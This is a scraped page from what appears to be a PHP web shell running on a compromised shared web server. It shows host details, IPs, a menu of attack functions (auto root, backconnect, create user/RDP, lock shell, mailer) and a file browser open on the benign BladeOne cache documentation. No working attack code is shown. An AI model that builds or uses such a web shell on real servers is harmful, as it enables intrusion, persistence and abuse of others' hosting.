Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
eftec /
bladeone /
[ HOME SHELL ]
Name
Size
Permission
Action
lib
[ DIR ]
drwxr-xr-x
.php_cs
257
B
-rw-r--r--
BladeOneCache.md
1.79
KB
-rw-r--r--
BladeOneHtml.md
3.52
KB
-rw-r--r--
BladeOneLang.md
2.06
KB
-rw-r--r--
BladeOneLogic.md
337
B
-rw-r--r--
LICENSE
1.1
KB
-rw-r--r--
README.md
18.19
KB
-rw-r--r--
composer.json
1.17
KB
-rw-r--r--
phpcs.xml
657
B
-rw-r--r--
readme.template.md
1.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : BladeOneCache.md
# BladeOneCache extension library (optional) Requires: BladeOne This library adds cache to the visual layer and business/logic layer. For using this library, the code requires to include and use the trait BladeOneCache ```php class MyBlade extends bladeone\BladeOne { use bladeone\BladeOneCache; } $blade=new MyBlade($views,$compiledFolder); ``` - Where MyBlade is a new class that extends the BladeOne class and use the cache features. ## New Tags (template file) ### cache ```html @ cache(1,86400). <!-- content here will be cached--> @ endcache() <!-- this content will not be cached--> @ cache(2,86400). <!-- content here will also be cached--> @ endcache() ``` - @cache([id],[duration]) start a new cache block - The cacheid (optional) indicates the id of the cache. It shoulds be unique. If not id then its added automatically - The duration (optional) in seconds indicates the duration of the cache. - @endcache - End of the cache block. It shouldn't be stacked. ## New Business Logic / Controller function ### function cacheExpired ```php if ($blade->cacheExpired('hellocache',1,5)) { // 'hellocache' = template, 1 = id cache, 5 = duration (seconds) // cache expired, so we should do some stuff (such as read from the database) } ``` - function cacheExpired(cachefile,cacheid,duration) returns true if the cache expires (and it shoulds be calculated and rebuild), otherwise false - cachefile indicates the template to use. - cacheid indicates the id of the cache. - duration indicates the duration of the cache (in seconds) > Note : if BLADEONE_MODE = 1 (**forced**) then the cache system is never used. > Note : The cache system works per **template** and **cacheid**. I.e. its possible to cache a part of a template for a limited time, while caching the rest for a long while.
Close